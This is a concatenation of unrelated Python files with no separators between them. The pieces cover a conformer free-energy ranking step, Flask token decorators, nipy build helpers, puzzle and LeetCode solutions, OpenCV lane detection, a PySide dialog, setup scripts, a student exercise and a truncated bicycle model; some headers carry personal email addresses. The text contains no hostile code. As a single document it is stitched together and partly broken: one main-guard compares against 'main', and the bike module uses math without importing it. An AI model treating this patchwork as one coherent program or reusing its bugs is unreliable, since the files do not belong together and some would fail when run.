                    conf.highlevel_grrho_info["range"] = conf.job["erange1"]
                    conf.highlevel_hrrho_info["range"] = conf.job["erange2"]
                    conf.highlevel_hrrho_info["info"] = "calculated"
                    conf.highlevel_hrrho_info["method"] = instruction_rrho["method"]
            # save current data to jsonfile
            config.write_json(
                config.cwd,
                [i.provide_runinfo() for i in calculate]
                + [i.provide_runinfo() for i in prev_calculated]
                + [i.provide_runinfo() for i in store_confs]
                + [ensembledata],
                config.provide_runinfo(),
            )
            check_tasks(calculate, config.check)
        else:
            print("No conformers are considered additionally.")
        # adding conformers calculated before:
        if prev_calculated:
            for conf in list(prev_calculated):
                conf.job["workdir"] = os.path.normpath(
                    os.path.join(config.cwd, "CONF" + str(conf.id), folder_rrho)
                )
                print(
                    f"The G_mRRHO calculation @ {conf.sym} "
                    f"{check[conf.job['success']]} for "
                    f"{last_folders(conf.job['workdir'], 2):>{pl}}: "
                    f"""{conf.get_mrrho(
                        config.temperature,
                        rrho='highlevel_grrho_info',
                        consider_sym=True):>.8f} """
                    f"S_rot(sym)= {conf.calc_entropy_sym(config.temperature):>.7f}"
                    f""" using= {conf.get_mrrho(
                        config.temperature,
                        rrho='highlevel_grrho_info',
                        consider_sym=config.consider_sym):>.7f}"""
                )
                calculate.append(prev_calculated.pop(prev_calculated.index(conf)))
        if not calculate:
            print_errors(f"{'ERROR:':{WARNLEN}}No conformers left!", save_errors)
            print("Going to exit!")
            sys.exit(1)
        # save current data to jsonfile
        config.write_json(
            config.cwd,
            [i.provide_runinfo() for i in calculate]
            + [i.provide_runinfo() for i in prev_calculated]
            + [i.provide_runinfo() for i in store_confs]
            + [ensembledata],
            config.provide_runinfo(),
        )
    # printout for part3 -------------------------------------------------------
    print("\n" + "".ljust(int(PLENGTH / 2), "-"))
    print("* Gibbs free energies of part3 *".center(int(PLENGTH / 2), " "))
    print("".ljust(int(PLENGTH / 2), "-") + "\n")
    columncall = [
        lambda conf: "CONF" + str(getattr(conf, "id")),
        lambda conf: getattr(conf, "xtb_energy"),
        lambda conf: getattr(conf, "rel_xtb_energy"),
        lambda conf: getattr(conf, "highlevel_sp_info")["energy"],
        lambda conf: getattr(conf, "highlevel_gsolv_info")
        .get("range", {})
        .get(config.temperature, 0.0),
        lambda conf: conf.get_mrrho(
            config.temperature, "highlevel_grrho_info", config.consider_sym
        ),
        lambda conf: getattr(conf, "free_energy"),
        lambda conf: getattr(conf, "rel_free_energy"),
        lambda conf: getattr(conf, "bm_weight") * 100,
    ]
    columnheader = [
        "CONF#",
        "E(GFNn-xTB)",
        "ΔE(GFNn-xTB)",
        "E [Eh]",
        "Gsolv [Eh]",
        "GmRRHO [Eh]",
        "Gtot",
        "ΔGtot",
        "Boltzmannweight",
    ]
    columndescription = [
        "",
        "[a.u.]",
        "[kcal/mol]",
        "",
        "",
        "",
        "[Eh]",
        "[kcal/mol]",
        f"  % at {config.temperature:.2f} K",
    ]
    columndescription2 = ["", "", "", "", "", "", "", "", ""]
    columnformat = [
        "",
        (12, 7),
        (5, 2),
        (12, 7),
        (12, 7),
        (12, 7),
        (12, 7),
        (5, 3),
        (5, 2),
    ]
    if config.solvent == "gas":
        columndescription[3] = instruction["method"]
    elif config.solvent != "gas":
        columndescription[3] = instruction["method"]
        columndescription[4] = instruction["method2"]
    if config.evaluate_rrho:
        columndescription[5] = instruction_rrho["method"]
    if not config.evaluate_rrho or config.solvent == "gas":
        if not config.evaluate_rrho:
            # ignore rrho in printout
            columncall.pop(5)
            columnheader.pop(5)
            columndescription.pop(5)
            columndescription2.pop(5)
            columnformat.pop(5)
        if config.solvent == "gas":
            columncall.pop(4)
            columnheader.pop(4)
            columndescription.pop(4)
            columndescription2.pop(4)
            columnformat.pop(4)

    for conf in calculate:
        if not config.evaluate_rrho:
            rrho = None
        else:
            rrho = "highlevel_grrho_info"
        if config.solvent == "gas":
            solv = None
        else:
            solv = "highlevel_gsolv_info"
        e = "highlevel_sp_info"
        conf.calc_free_energy(
            e=e,
            solv=solv,
            rrho=rrho,
            t=config.temperature,
            consider_sym=config.consider_sym,
        )

    calculate = calc_boltzmannweights(calculate, "free_energy", config.temperature)
    try:
        minfree = min([i.free_energy for i in calculate if i is not None])
    except ValueError:
        raise
    for conf in calculate:
        conf.rel_free_energy = (conf.free_energy - minfree) * AU2KCAL
    calculate.sort(key=lambda x: int(x.id))
    printout(
        os.path.join(config.cwd, "part3.dat"),
        columncall,
        columnheader,
        columndescription,
        columnformat,
        calculate,
        minfree,
        columndescription2=columndescription2,
    )
    # end printout for part3
    conf_in_interval(calculate)
    # --------------------------------------------------------------------------
    for conf in calculate:
        if conf.free_energy == minfree:
            ensembledata.bestconf["part3"] = conf.id

    ################################################################################
    # calculate average G correction
    print("\nCalculating Boltzmann averaged free energy of ensemble!\n")
    avGcorrection = {"avG": {}, "avE": {}, "avGsolv": {}, "avGRRHO": {}}
    if config.multitemp:
        trange = [
            i for i in frange(config.trange[0], config.trange[1], config.trange[2])
        ]
    else:
        trange = [config.temperature]
    # calculate Boltzmannweights
    if not config.evaluate_rrho or config.solvent == "gas":
        if not config.evaluate_rrho and config.solvent == "gas":
            line = (
                f"{'temperature /K:':<15} {'avE(T) /a.u.':>14} "
                f"{'avG(T) /a.u.':>14} "
                f"{'avGcorrection(T)* /a.u.':>22}"
            )
        elif not config.evaluate_rrho:
            line = (
                f"{'temperature /K:':<15} {'avE(T) /a.u.':>14} "
                f"{'avGsolv(T) /a.u.':>16} {'avG(T) /a.u.':>14} "
                f"{'avGcorrection(T)* /a.u.':>22}"
            )
        elif config.solvent == "gas":
            line = (
                f"{'temperature /K:':<15} {'avE(T) /a.u.':>14} "
                f"{'avGmRRHO(T) /a.u.':>16} {'avG(T) /a.u.':>14} "
                f"{'avGcorrection(T)* /a.u.':>22}"
            )
    else:
        line = (
            f"{'temperature /K:':<15} {'avE(T) /a.u.':>14} "
            f"{'avGmRRHO(T) /a.u.':>16} {'avGsolv(T) /a.u.':>16} "
            f"{'avG(T) /a.u.':>14}"
            f" {'avGcorrection(T)* /a.u.':>22}"
        )
    print(line)
    print("".ljust(int(PLENGTH), "-"))
    for temperature in trange:
        # get free energy at (T)
        for conf in calculate:
            if not config.evaluate_rrho:
                rrho = None
            else:
                rrho = "highlevel_grrho_info"
            if config.solvent == "gas":
                solv = None
            else:
                solv = "highlevel_gsolv_info"
            e = "highlevel_sp_info"
            conf.calc_free_energy(
                e=e,
                solv=solv,
                rrho=rrho,
                t=temperature,
                consider_sym=config.consider_sym,
            )

        calculate = calc_boltzmannweights(calculate, "free_energy", temperature)
        avG = 0.0
        avE = 0.0
        avGRRHO = 0.0

        avGsolv = 0.0
        for conf in calculate:
            avG += conf.bm_weight * conf.free_energy
            avE += conf.bm_weight * conf.highlevel_sp_info["energy"]
            avGRRHO += conf.bm_weight * conf.get_mrrho(
                temperature, "highlevel_grrho_info", config.consider_sym
            )
            avGsolv += conf.bm_weight * conf.highlevel_gsolv_info["range"].get(
                temperature, 0.0
            )

        avGcorrection["avG"][temperature] = avG
        avGcorrection["avE"][temperature] = avE
        avGcorrection["avGRRHO"][temperature] = avGRRHO
        avGcorrection["avGsolv"][temperature] = avGsolv
        # printout:
        if not config.evaluate_rrho or config.solvent == "gas":
            if not config.evaluate_rrho and config.solvent == "gas":
                line = (
                    f"{temperature:^15} {avE:>14.7f}  {avG:>14.7f} "
                    f"{ensembledata.avGcorrection.get('avGcorrection',{}).get(temperature, 0.0):>22.7f}"
                )
            elif not config.evaluate_rrho:
                line = (
                    f"{temperature:^15} {avE:>14.7f} {avGsolv:>16.7f} "
                    f"{avG:>14.7f} "
                    f"{ensembledata.avGcorrection.get('avGcorrection',{}).get(temperature, 0.0):>22.7f}"
                )
            elif config.solvent == "gas":
                line = (
                    f"{temperature:^15} {avE:>14.7f} {avGRRHO:>16.7f} "
                    f"{avG:>14.7f} "
                    f"{ensembledata.avGcorrection.get('avGcorrection',{}).get(temperature, 0.0):>22.7f}"
                )
        else:
            line = (
                f"{temperature:^15} {avE:>14.7f} {avGRRHO:>16.7f} "
                f"{avGsolv:>16.7f} {avG:>14.7f} "
                f"{ensembledata.avGcorrection.get('avGcorrection',{}).get(temperature, 0.0):>22.7f}"
            )
        if temperature == config.temperature:
            print(line, "    <<==part3==")
        else:
            print(line)
    print("".ljust(int(PLENGTH), "-"))
    print(
        "avGcorrection(T)* = Correction to free energy, which can be added (manually) to avG(T)."
    )
    print("                    If only a small ensemble is evaluated in part3 ")
    print("                    this can incorporate information of higher lying ")
    print("                    conformers of a more complete ensemble from part2.")
    print("")

    ################################################################################
    # -----------------------------Trange Ouput END------------------------------
    # reset boltzmannweights to correct temperature
    # get free energy at (T)
    for conf in calculate:
        if not config.evaluate_rrho:
            rrho = None
        else:
            rrho = "highlevel_grrho_info"
        if config.solvent == "gas":
            solv = None
        else:
            solv = "highlevel_gsolv_info"
        e = "highlevel_sp_info"
        conf.calc_free_energy(
            e=e,
            solv=solv,
            rrho=rrho,
            t=config.temperature,
            consider_sym=config.consider_sym,
        )
    calculate = calc_boltzmannweights(calculate, "free_energy", config.temperature)

    # SORTING for the next part:
    print("\n" + "".ljust(int(PLENGTH / 2), "-"))
    print("Conformers considered further".center(int(PLENGTH / 2), " "))
    print("".ljust(int(PLENGTH / 2), "-") + "\n")
    # evaluate conformer consideration based on Boltzmann-population
    calculate.sort(reverse=True, key=lambda x: float(x.bm_weight))
    sumup = 0.0
    for conf in list(calculate):
        sumup += conf.bm_weight
        if sumup >= (config.part3_threshold / 100):
            if conf.bm_weight < (1 - (config.part3_threshold / 100)):
                mol = calculate.pop(calculate.index(conf))
                mol.part_info["part3"] = "refused"
                store_confs.append(mol)
            else:
                conf.part_info["part3"] = "passed"
        else:
            conf.part_info["part3"] = "passed"

    ensembledata.nconfs_per_part["part3"] = len(calculate)

    if calculate:
        print(
            f"\nConformers that are below the Boltzmann threshold G_thr(3) of {config.part3_threshold}%:"
        )
        print_block(["CONF" + str(i.id) for i in calculate])

    # save current data to jsonfile
    config.write_json(
        config.cwd,
        [i.provide_runinfo() for i in calculate]
        + [i.provide_runinfo() for i in prev_calculated]
        + [i.provide_runinfo() for i in store_confs]
        + [ensembledata],
        config.provide_runinfo(),
    )

    if geometries_from_input:
        folder = geoms_folder
    else:
        folder = config.func

    # write ensemble
    move_recursively(config.cwd, "enso_ensemble_part3.xyz")
    kwargs = {"energy": "xtb_energy", "rrho": "highlevel_grrho_info"}
    write_trj(
        sorted(calculate, key=lambda x: float(x.free_energy)),
        config.cwd,
        "enso_ensemble_part3.xyz",
        folder,
        config.nat,
        "free_energy",
        config.temperature,
        config.consider_sym,
        **kwargs,
    )

    # write coord.enso_best
    for conf in calculate:
        if conf.id == ensembledata.bestconf["part3"]:
            # copy the lowest conformer to file coord.enso_best
            with open(
                os.path.join("CONF" + str(conf.id), folder, "coord"),
                "r",
                encoding=CODING,
                newline=None,
            ) as f:
                coord = f.readlines()
            with open(
                os.path.join(config.cwd, "coord.enso_best"), "w", newline=None
            ) as best:
                best.write(
                    "$coord  # {}   {}   !CONF{} \n".format(
                        conf.free_energy,
                        conf.get_mrrho(
                            config.temperature,
                            rrho="highlevel_grrho_info",
                            consider_sym=config.consider_sym,
                        ),
                        conf.id,
                    )
                )
                for line in coord[1:]:
                    if "$" in line:  # stop at $end ...
                        break
                    best.write(line)
                best.write("$end \n")

    # reset
    for conf in calculate:
        conf.free_energy = 0.0
        conf.rel_free_energy = 0.0
        conf.bm_weight = 0.0
        conf.reset_job_info()

    if save_errors:
        print("\n***---------------------------------------------------------***")
        print("Printing most relevant errors again, just for user convenience:")
        for _ in list(save_errors):
            print(save_errors.pop())
        print("***---------------------------------------------------------***")
    tmp = int((PLENGTH - len("END of Part3")) / 2)
    print("\n" + "".ljust(tmp, ">") + "END of Part3" + "".rjust(tmp, "<"))
    if config.progress:
        print("#>>># CENSO: Finished part3", file=sys.stderr)
    return config, calculate, store_confs, ensembledata


unos = input()

lista = unos.split()
for i in range(len(lista)):
    lista[i] = int(lista[i])

print(lista)

while len(lista) >= 0:
    if len(lista) == 1:
        break
    lista = sorted(lista)
    print(lista)
    najveci = lista[-1]
    drugi_najveci = lista[-2]
    pom_lista = lista[0:len(lista)-2]

    if drugi_najveci != najveci:
        pom_lista.append(abs(najveci-drugi_najveci))

    lista = pom_lista

print(lista)

if len(lista) > 0:
    print(lista[0])
else:
    print(0)

#2 7 4 1 8 1


from functools import wraps

from flask import current_app, request

from hotel_api.models import Users
from hotel_api.exceptions import ApiUnauthorized, ApiForbidden

def get_token_expire_time():
    """ Return token expiration time in seconds.  """
    token_age_h = current_app.config.get("TOKEN_EXPIRE_HOURS")
    token_age_m = current_app.config.get("TOKEN_EXPIRE_MINUTES")
    expires_in_seconds = token_age_h * 3600 + token_age_m * 60

    return expires_in_seconds if not current_app.config["TESTING"] else 5

def create_auth_success_response(user_name, email, access_token):
    """ Return response and headers for successful authorization. """
    response = dict(
        user_name=user_name,
        email=email,
        access_token=access_token.decode(),
        token_type="bearer",
        expires_in=get_token_expire_time(),
    )
    headers = {"Cache-Control": "no-store", "Pragma": "no-cache"}

    return response, headers

def token_required(f):
    """Execute function if request contains valid access token."""

    @wraps(f)
    def decorated(*args, **kwargs):
        print(decorated)
        token_payload = _check_access_token(admin_only=False)
        for name, val in token_payload.items():
            setattr(decorated, name, val)
        print(dir(decorated))
        return f(*args, **kwargs)

    return decorated

def admin_token_required(f):
    """Execute function if request contains valid access token AND user is admin."""

    @wraps(f)
    def decorated(*args, **kwargs):
        token_payload = _check_access_token(admin_only=True)
        if not token_payload["admin"]:
            raise ApiForbidden()
        for name, val in token_payload.items():
            setattr(decorated, name, val)
        return f(*args, **kwargs)

    return decorated

def _check_access_token(admin_only):
    token = request.headers.get("Authorization")
    if not token:
        raise ApiUnauthorized(description="Unauthorized", admin_only=admin_only)
    result = Users.decode_access_token(token)
    if result["status"] == "Failed":
        raise ApiUnauthorized(
            description=result["message"],
            admin_only=admin_only,
            error="invalid_token",
            error_description=result["message"],
        )
    return result


# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vi: set ft=python sts=4 ts=4 sw=4 et:
"""
Build helpers for setup.py

Includes package dependency checks, and code to build the documentation

To build the docs, run::

    python setup.py build_sphinx

This module has to work for python 2 and python 3.
"""
from __future__ import with_statement

# Standard library imports
import sys
import os
from os.path import join as pjoin, dirname, splitext, split as psplit
import zipfile
import warnings
import shutil
from distutils.cmd import Command
from distutils.command.clean import clean
from distutils.command.install_scripts import install_scripts
from distutils.version import LooseVersion
from distutils.dep_util import newer_group
from distutils.errors import DistutilsError

from numpy.distutils.misc_util import appendpath
from numpy.distutils import log
from numpy.distutils.misc_util import is_string

# Python 3 builder
from nisext.py3builder import build_py as old_build_py

# Sphinx import
try:
    from sphinx.setup_command import BuildDoc
except ImportError:
    have_sphinx = False
else:
    have_sphinx = True

# Get project related strings.  Please do not change this line to use
# execfile because execfile is not available in Python 3
_info_fname = pjoin('nipy', 'info.py')
INFO_VARS = {}
exec(open(_info_fname, 'rt').read(), {}, INFO_VARS)

DOC_BUILD_DIR = os.path.join('build', 'html')

CYTHON_MIN_VERSION = INFO_VARS['CYTHON_MIN_VERSION']

################################################################################
# Distutils Command class for installing nipy to a temporary location.
class TempInstall(Command):
    temp_install_dir = os.path.join('build', 'install')

    def run(self):
        """ build and install nipy in a temporary location. """
        install = self.distribution.get_command_obj('install')
        install.install_scripts = self.temp_install_dir
        install.install_base    = self.temp_install_dir
        install.install_platlib = self.temp_install_dir
        install.install_purelib = self.temp_install_dir
        install.install_data    = self.temp_install_dir
        install.install_lib     = self.temp_install_dir
        install.install_headers = self.temp_install_dir
        install.run()

        # Horrible trick to reload nipy with our temporary instal
        for key in sys.modules.keys():
            if key.startswith('nipy'):
                sys.modules.pop(key, None)
        sys.path.append(os.path.abspath(self.temp_install_dir))
        # Pop the cwd
        sys.path.pop(0)
        import nipy

    def initialize_options(self):
        pass

    def finalize_options(self):
        pass

################################################################################
# Distutils Command class for API generation
class APIDocs(TempInstall):
    description = \
    """generate API docs """

    user_options = [
        ('None', None, 'this command has no options'),
        ]

    def run(self):
        # First build the project and install it to a temporary location.
        TempInstall.run(self)
        os.chdir('doc')
        try:
            # We are running the API-building script via an
            # system call, but overriding the import path.
            toolsdir = os.path.abspath(pjoin('..', 'tools'))
            build_templates = pjoin(toolsdir, 'build_modref_templates.py')
            cmd = """%s -c 'import sys; sys.path.append("%s"); sys.path.append("%s"); execfile("%s", dict(__name__="__main__"))'""" \
                % (sys.executable,
                   toolsdir,
                   self.temp_install_dir,
                   build_templates)
            os.system(cmd)
        finally:
            os.chdir('..')

################################################################################
# Code to copy the sphinx-generated html docs in the distribution.
def relative_path(filename):
    """ Return the relative path to the file, assuming the file is
        in the DOC_BUILD_DIR directory.
    """
    length = len(os.path.abspath(DOC_BUILD_DIR)) + 1
    return os.path.abspath(filename)[length:]

################################################################################
# Distutils Command class to clean
class Clean(clean):

    def run(self):
        clean.run(self)
        api_path = os.path.join('doc', 'api', 'generated')
        if os.path.exists(api_path):
            print("Removing %s" % api_path)
            shutil.rmtree(api_path)
        if os.path.exists(DOC_BUILD_DIR):
            print("Removing %s" % DOC_BUILD_DIR)
            shutil.rmtree(DOC_BUILD_DIR)

################################################################################
# Distutils Command class build the docs
if have_sphinx:
    class MyBuildDoc(BuildDoc):
        """ Sub-class the standard sphinx documentation building system, to
            add logics for API generation and matplotlib's plot directive.
        """

        def run(self):
            self.run_command('api_docs')
            # We need to be in the doc directory for to plot_directive
            # and API generation to work
            os.chdir('doc')
            try:
                BuildDoc.run(self)
            finally:
                os.chdir('..')
            self.zip_docs()

        def zip_docs(self):
            if not os.path.exists(DOC_BUILD_DIR):
                raise OSError('Doc directory does not exist.')
            target_file = os.path.join('doc', 'documentation.zip')
            # ZIP_DEFLATED actually compresses the archive. However, there
            # will be a RuntimeError if zlib is not installed, so we check
            # for it. ZIP_STORED produces an uncompressed zip, but does not
            # require zlib.
            try:
                zf = zipfile.ZipFile(target_file, 'w',
                                            compression=zipfile.ZIP_DEFLATED)
            except RuntimeError:
                warnings.warn('zlib not installed, storing the docs '
                                'without compression')
                zf = zipfile.ZipFile(target_file, 'w',
                                            compression=zipfile.ZIP_STORED)

            for root, dirs, files in os.walk(DOC_BUILD_DIR):
                relative = relative_path(root)
                if not relative.startswith('.doctrees'):
                    for f in files:
                        zf.write(os.path.join(root, f),
                                os.path.join(relative, 'html_docs', f))
            zf.close()

        def finalize_options(self):
            """ Override the default for the documentation build
                directory.
            """
            self.build_dir = os.path.join(*DOC_BUILD_DIR.split(os.sep)[:-1])
            BuildDoc.finalize_options(self)

else: # failed Sphinx import
    # Raise an error when trying to build docs
    class MyBuildDoc(Command):
        user_options = []
        def run(self):
            raise ImportError(
                "Sphinx is not installed, docs cannot be built")
        def initialize_options(self):
            pass
        def finalize_options(self):
            pass

# Start of numpy.distutils.command.build_py.py copy

class build_py(old_build_py):
    """ Copied verbatim from numpy.distutils.command.build_py.py

    If we are on python 2, this code merely replicates numpy distutils, and we
    could get the same effect by importing build_py from numpy.distutils.  If we
    are on python 3, then `old_build_py` will have python 2to3 routines
    contained, and we also need the methods below to work with numpy distutils.

    If you know a better way to do this, please, send a patch and make me glad.
    """

    def run(self):
        build_src = self.get_finalized_command('build_src')
        if build_src.py_modules_dict and self.packages is None:
            self.packages = build_src.py_modules_dict.keys ()
        old_build_py.run(self)

    def find_package_modules(self, package, package_dir):
        modules = old_build_py.find_package_modules(self, package, package_dir)

        # Find build_src generated *.py files.
        build_src = self.get_finalized_command('build_src')
        modules += build_src.py_modules_dict.get(package,[])

        return modules

    def find_modules(self):
        old_py_modules = self.py_modules[:]
        new_py_modules = filter(is_string, self.py_modules)
        self.py_modules[:] = new_py_modules
        modules = old_build_py.find_modules(self)
        self.py_modules[:] = old_py_modules

        return modules

    # XXX: Fix find_source_files for item in py_modules such that item is 3-tuple
    # and item[2] is source file.

# End of numpy.distutils.command.build_py.py copy

def have_good_cython():
    try:
        from Cython.Compiler.Version import version
    except ImportError:
        return False
    return LooseVersion(version) >= LooseVersion(CYTHON_MIN_VERSION)

def generate_a_pyrex_source(self, base, ext_name, source, extension):
    ''' Monkey patch for numpy build_src.build_src method

    Uses Cython instead of Pyrex.
    '''
    good_cython = have_good_cython()
    if self.inplace or not good_cython:
        target_dir = dirname(base)
    else:
        target_dir = appendpath(self.build_src, dirname(base))
    target_file = pjoin(target_dir, ext_name + '.c')
    depends = [source] + extension.depends
    sources_changed = newer_group(depends, target_file, 'newer')
    if self.force or sources_changed:
        if good_cython:
            # add distribution (package-wide) include directories, in order
            # to pick up needed .pxd files for cython compilation
            incl_dirs = extension.include_dirs[:]
            dist_incl_dirs = self.distribution.include_dirs
            if not dist_incl_dirs is None:
                incl_dirs += dist_incl_dirs
            import Cython.Compiler.Main
            log.info("cythonc:> %s" % (target_file))
            self.mkpath(target_dir)
            options = Cython.Compiler.Main.CompilationOptions(
                defaults=Cython.Compiler.Main.default_options,
                include_path=incl_dirs,
                output_file=target_file)
            cython_result = Cython.Compiler.Main.compile(source,
                                                       options=options)
            if cython_result.num_errors != 0:
                raise DistutilsError("%d errors while compiling "
                                     "%r with Cython"
                                     % (cython_result.num_errors, source))
        elif sources_changed and os.path.isfile(target_file):
            raise DistutilsError("Cython >=%s required for compiling %r"
                                 " because sources (%s) have changed" %
                                 (CYTHON_MIN_VERSION, source, ','.join(depends)))
        else:
            raise DistutilsError("Cython >=%s required for compiling %r"
                                 " but not available" %
                                 (CYTHON_MIN_VERSION, source))
    return target_file

BAT_TEMPLATE = \
r"""@echo off
REM wrapper to use shebang first line of {FNAME}
set mypath=%~dp0
set pyscript="%mypath%{FNAME}"
set /p line1=<%pyscript%
if "%line1:~0,2%" == "#!" (goto :goodstart)
echo First line of %pyscript% does not start with "#!"
exit /b 1
:goodstart
set py_exe=%line1:~2%
call %py_exe% %pyscript% %*
"""

class install_scripts_nipy(install_scripts):
    """ Make scripts executable on Windows

    Scripts are bare file names without extension on Unix, fitting (for example)
    Debian rules. They identify as python scripts with the usual ``#!`` first
    line. Unix recognizes and uses this first "shebang" line, but Windows does
    not. So, on Windows only we add a ``.bat`` wrapper of name
    ``bare_script_name.bat`` to call ``bare_script_name`` using the python
    interpreter from the #! first line of the script.

    Notes
    -----
    See discussion at
    http://matthew-brett.github.com/pydagogue/installing_scripts.html and
    example at git://github.com/matthew-brett/myscripter.git for more
    background.
    """
    def run(self):
        install_scripts.run(self)
        if not os.name == "nt":
            return
        for filepath in self.get_outputs():
            # If we can find an executable name in the #! top line of the script
            # file, make .bat wrapper for script.
            with open(filepath, 'rt') as fobj:
                first_line = fobj.readline()
            if not (first_line.startswith('#!') and
                    'python' in first_line.lower()):
                log.info("No #!python executable found, skipping .bat "
                            "wrapper")
                continue
            pth, fname = psplit(filepath)
            froot, ext = splitext(fname)
            bat_file = pjoin(pth, froot + '.bat')
            bat_contents = BAT_TEMPLATE.replace('{FNAME}', fname)
            log.info("Making %s wrapper for %s" % (bat_file, filepath))
            if self.dry_run:
                continue
            with open(bat_file, 'wt') as fobj:
                fobj.write(bat_contents)

# The command classes for distutils, used by setup.py
cmdclass = {'api_docs': APIDocs,
            'clean': Clean,
            'build_sphinx': MyBuildDoc,
            'install_scripts': install_scripts_nipy}


def palindrome(num):
    num = str(num)
    if num == num[::-1]:
        return True
    return False

target = 10**8
box = [i**2 for i in range(1, int((target / 2)**0.5))]
size = len(box)
store = set()
for i in range(size, 1, -1):
    for j in range(size - i + 1):
        sqsum = sum(box[j:i + j])
        if sqsum > target:
            break
        elif palindrome(sqsum):
            store.add(sqsum)
print(sum(store))


import cv2
import numpy as np
#import matplotlib.pyplot as plt

#grayscale, cleaning(blur)
def canny(image):
    gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)
    blur = cv2.GaussianBlur(gray, (5,5), 0)# (optional) reducing the noise
    #We need a gradient image to simplify
    canny = cv2.Canny(blur, 50,150)
    return canny

def display_lines(image,lines):
    line_image = np.zeros_like(image)
    if lines is not None:
        for line in lines:
            x1,y1,x2,y2 = line.reshape(4)
            cv2.line(line_image, (x1,y1), (x2,y2), (0,255,0), 10)
    return line_image

#finding our region of interesty by a figure
def region_of_interest(image):
    height = image.shape[0]
    polygons = np.array([[(200,height),(1100,height),(550,250)]])
    mask = np.zeros_like(image)
    #fillPoly needs more than one polygon so we make a list
    cv2.fillPoly(mask,polygons,255)
    masked_image = cv2.bitwise_and(image,mask)#and po bitah img
    return masked_image

#reading the image
image = cv2.imread("Photos/test_image.jpg")
#matrix of the image
lane_image = np.copy(image)
canny_immage = canny(lane_image)
cropped_image =  region_of_interest(canny_immage)
lines = cv2.HoughLinesP(cropped_image,2,np.pi/180, 100, np.array([]), minLineLength=40, maxLineGap=5, )
line_image = display_lines(lane_image,lines)
combo_image = cv2.addWeighted(lane_image,0.8,line_image,1, 1)
#showing the image (window title, image)
cv2.imshow("result", combo_image)
#displaying image unitl key press
cv2.waitKey(0)

#we need pyplot to see the the numerated diagram of image for the base of triangle
#plt.imshow(canny)
#plt.show()


"""
494 target sum
"""
#https://leetcode.com/problems/target-sum/#/solutions
#https://discuss.leetcode.com/topic/76205/python-dp
"""
find a subset of the nums that need to be positive and the left to be negative so that the sum is the target
sum(P) - sum(N) = target
sum(P) - sum(N) + sum(P) + sum(N) = target + sum(P) + sum(N)
2 * sum(P) = target + sum(P) + sum(N)
"""

def findTargetSum(num, s):
  if not num:
    return -1
  sm = sum(num)
  if sm < s or (sm+s) % 2:
      return 0
  s += sm
  s = s // 2
  dp = [0] * (s+1)
  dp[0] = 1
  for i in num:
      for j in range(i, s+1)[::-1]:# we need the old states of i and i-1, so need to do it reversely
          dp[j] += dp[j-i]
      # print(f"dp: {dp}")
  return dp[s]

def findTargetSum2(nums, S): # relatively easier to understand
  count = {0: 1}
  for n in nums:
    count2 = {}
    for tmp in count: # find the frequency of all the sums when uses a new number
      count2[tmp + n] = count2.get(tmp + n, 0) + count[tmp]
      count2[tmp - n] = count2.get(tmp - n, 0) + count[tmp]
    count = count2
  print(f"count len: {count}")
  return count.get(S, 0)

# testing
print(findTargetSum([1,1,1,1,1], 3)) # 5
print(findTargetSum2([1,1,1,1,1], 3)) # 5


try:
    from PySide2 import QtWidgets, QtCore, QtGui
except ImportError:
    from PySide import QtCore, QtGui
    QtWidgets = QtGui

class Ui_InsertBlock(object):
    def setupUi(self, InsertBlock):
        InsertBlock.setObjectName("InsertBlock")
        InsertBlock.resize(400, 107)
        self.gridLayout = QtGui.QGridLayout(InsertBlock)
        self.gridLayout.setContentsMargins(5, 5, 5, 5)
        self.gridLayout.setHorizontalSpacing(0)
        self.gridLayout.setVerticalSpacing(2)
        self.gridLayout.setObjectName("gridLayout")
        self.listWidget = QtGui.QListWidget(InsertBlock)
        self.listWidget.setObjectName("listWidget")
        self.gridLayout.addWidget(self.listWidget, 1, 0, 1, 2)
        self.lineEdit = QtGui.QLineEdit(InsertBlock)
        self.lineEdit.setObjectName("lineEdit")
        self.gridLayout.addWidget(self.lineEdit, 0, 0, 1, 2)

        self.retranslateUi(InsertBlock)
        QtCore.QMetaObject.connectSlotsByName(InsertBlock)
        InsertBlock.setTabOrder(self.lineEdit, self.listWidget)
        return InsertBlock

    def retranslateUi(self, InsertBlock):
        InsertBlock.setWindowTitle(QtGui.QApplication.translate("InsertBlock", "Insert Block", None, QtGui.QApplication.UnicodeUTF8))

if __name__ == 'main':
    app = QtWidgets.QApplication([])
    win = Ui_InsertBlock().setupUi(QtWidgets.QMainWindow())
    win.show()
    app.exec_()


import os
from setuptools import setup

with open('requirements.txt') as requirements:
    required = requirements.read().splitlines()

# recursive package definition
# from user: Sandy Chapman, https://stackoverflow.com/a/36693250
def package_files(directory):
    paths = []
    for (path, directories, filenames) in os.walk(directory):
        for filename in filenames:
            paths.append(os.path.join('..', path, filename))
    return paths

extra_files = package_files('cmenv/apis')

setup(
    name = 'cmenv',
    version = '0.0.1',
    description = 'Deployable API Containers',
    url = 'https://github.com/cloudmesh-community/hid-sp18-526',
    author = ['Tim Whitson', 'Gregor von Laszewski'],
    author_email = 'whitstd@gmail.com',
    license = 'MIT',
    packages = ['cmenv'],
    package_data={'': extra_files},
    install_requires = required,
    entry_points = {
        'console_scripts': [
            'cmenv = cmenv.__main__:main'
        ]
    }
)


#Maliha Tasnim
#MALIHA.TASNIM64@myhunter.cuny.edu
#Date: October 14, 2022
#This program does stuff
def main():
    string=input("Enter a string: ")
    char=input("Enter a char: ")
    c = string.count(char)
    print(f"number of '{char}' in \"{string}\" is {c}" )

main()


import numpy as np
from constants import *
""" This module contains a class to represent the bike's state """

class Bike(object):

	def __init__(self, xB, yB, phi, psi, delta, w_r, v):
		""" State representation in Matlab """

		#xB, yB initial position coordinates of bicycle
		self.xB = xB
		self.yB = yB
		self.phi = phi #lean
		self.psi = psi #direction (aka thetaB)
		self.delta = delta # Steer Angle!!!!!!
		self.w_r = w_r
		self.v = v  #speed
		self.turning_r = 2

	@property
	def vector(self):
		b = np.array([math.cos(self.psi), math.sin(self.psi)])
		return b/np.linalg.norm(b)

	def rhs(self, steerD):
		""" Equivalent to rhs in Matlab. Modifies the state object to turn it into the next state """

		deltaD = steerD

		u = K1 * self.phi + K2 * self.w_r + K3 * (self.delta - deltaD)

		if u > 10:
			u = 10
		elif u < -10:
			u = -10

		xdot = self.v * np.cos(self.psi)
		ydot = self.v * np.sin(self.psi)
		phi_dot = self.w_r
		psi_dot = (self.v/L)*(np.tan(self.delta)/np.cos(self.phi))
		delta_dot = u # ideal steer rate
		v_dot = 0
		# wr_dot = (((-(self.v)**2)*self.delta) - B * self.v * u + G * L * self.phi)/(H*L)
